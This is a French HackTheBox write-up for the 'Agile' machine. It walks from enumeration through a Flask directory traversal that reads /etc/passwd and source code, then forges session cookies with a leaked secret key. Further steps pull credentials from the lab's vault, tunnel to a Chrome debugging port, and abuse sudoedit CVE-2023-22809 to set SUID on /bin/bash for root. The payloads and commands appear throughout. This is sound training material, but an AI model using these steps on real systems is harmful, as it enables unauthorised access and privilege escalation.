Aller au contenu principal

HACKTHEBOX - AGILE

Enumeration

PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-fileupload-exploiter:
|
| Couldn't find a file-type field.
|
|_ Couldn't find a file-type field.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=superpass.htb
| Found the following possible CSRF vulnerabilities:
|
| Path: http://superpass.htb:80/vault
| Form id:
|_ Form action:
|_http-dombased-xss: Couldn't find any DOM based XSS.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Full web, pas de XSS ou quoique ce soit.

Première indication, j'ai du mal a accéder a l'url, et je tombe sur un message d'erreur :

Ce message d'erreur est sûrement dû au scan nmap. Cependant, ca donne une indication importante :

Le debug flask est activé, cela nous donne des informations plus qu'importantes sur le déroulement du script en backend

Une autre erreur nous donne la requête SQL : Une injection SQL serait-elle possible ?

Exploitation

Premier user

Avec un gobuster, on trouve la page /downloads (accessible que loggé)

On regarde dedans et on remarque un message d'erreur assez important :

Un directory traversal peut être possible avec le paramètre fn= dans l'url.

On regarde en bas :

L'argument fn correspond au fichier demandé. On teste un payload de directory traversal :

http://superpass.htb/download?fn=../etc/passwd
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false

PS : A partir de la, tout ce qui est fait est patchée par les devs HTB !!! Une autre méthode doit être utilisée !

La prochaine étape sera de voir le code source de la page. On sait que le backend est en flask, on va donc chercher le fichier app.py :

http://superpass.htb/download?fn=../app/app/superpass/app.py

On trouve la secret key de flask :

Clé secrète flask

Cette clé permet entre autre de signer des tokens d'authentification. Elle ne doit jamais apparaître dans un fichier accessible depuis l'extérieur, ni être commit dans un environnement github hosté

On va utiliser flask-unsign pour se connecter avec un autre compte

Mon cookie de session loggé : eJwljsFqwzAQRH9F7DkUSSvvav0VvZcQ1tIqNrhNsZxTyL9X0NMwvGF4L7i1XftqHeavF7hzBHxb73o3uMDnbtrN7Y-7237c-XBayoDuXLfufsfmA67v62WcHNZXmM_jaaNtFWZgREP0ylbEKpmmmBDFB2mMlLilFiMGqSoyaONMOUSORSPpotWYCqsoikplzySpUsuNfJTiU8rRQuZlqpITYdaJsHGYfKS6SBEa-rdnt-PfJnh4_wHiAEU2.ZASbmg.I8YpExYyF-a_NEMihmIvPndxBjs

{'_flashes': [('message', 'Please log in to access this page.')], '_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '10'}

On essaye de se connecter avec le compte possédant l'id 1 :

flask-unsign --sign --cookie "{'_flashes': [('message', 'Please log in to access this page.')], '_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1'}" --secret 'MNOHFl8C4WLc3DQTToeeg8ZT7WpADVhqHHXJ50bPZY6ybYKEr76jNvDfsWD'

(0xdf c'est le créateur de la box. J'espère qu'il a pas mis son vrai mot de passe...)

Oxdf:762b430d32eea2f12970 Oxdf:5b133f7a6a1c180646cb

Ces mots de passe ne marchent pas, mais la méthode est bonne ! Essayons le deuxieme user id en suivant lma même méthode :

Le deuxième user id :

Agile -> corum:5db7caa1d13cc37c9fc2 Ticketmaster -> corum:9799588839ed0f98c211 mgoblog -> corum:47ed1e73c955de230a1d

Nous testons de se connecter via les premiers identifiants, via ssh, et nous sommes connectés via le compte corum.

Second User

Avant même de faire un linpeas, je remarque que quelqu'un a téléchargé chisel auparavant. Il va falloir être vigilant sur les ports écoutés en interne

info

Chisel est un script qui permet de faire du port forwarding. Il est très utile pour faire du port forwarding en reverse shell, et ainsi se connecter à un port d'une machine interne depuis l'extérieur, tout en contournant les firewalls

Il est disponible ici : https://github.com/jpillora/chisel

Rapport Linpeas

On remarque un processus "chrome" avec un remote debugging port n °41829 contrôlé par l'user runner :

runner     77253  0.1  2.5 34023392 102468 ?     Sl   14:27   0:00                      _ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.CHWkiJ --window-size=1420,1080 data:,

Exploitation du debugger chrome

Le but est de atteindre le port de debug de l'application. On peut le faire avec chisel, mais on va le faire avec un tunnel ssh :

ssh -L <local_port>:<cible>:<remote_port> <user>@<target>

Pour notre cas :
ssh -L 9090:superpass.htb:41829 [email protected]

Sur chromium, on va sur "chrome://inspect" afin d'avoir accès a la plateforme de test :

Puis ensuite on ajoute la target dans les "network targets" :

Une fois cela fait, l'appli de dev devrait apparaitre. Si c'est pas le cas, réactualisez la page.

On a accès a un autre compte : edward

edwards:d07867c6267dcb5df0af

PrivSC avec sudoedit

A partir de la, on regarde le fichier sudoers

Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

Je recherche un peu sur une CVE sur sudoedit, et je remarque la CVE-2023-22809

Cette cve s'exploite ainsi :

export EDITOR="vim -- <le fichier que l'on veut modif>"
sudo -u dev_admin sudoedit <le fichier que l'on peut modif>

Sur pspy, une commande est executée périodiquement par root :

2023/08/06 02:31:01 CMD: UID=0     PID=1380   | /bin/bash -c source /app/venv/bin/activate 

On met en pratique en modifiant le fichier /app/venv/bin/activate qui sera excuté par root :

export EDITOR="vim -- /app/venv/bin/activate"
sudo -u dev_admin sudoedit /app/config_test.json

<On ajoute 'chmod +s /bin/bash'>
bash -p

Puis on attend que les permissions changent :

edwards@agile:/tmp$ ls -alh /bin/bash
-rwsr-sr-x 1 root root 1.4M Jan 6 2022 /bin/bash
edwards@agile:/tmp$ bash -p
#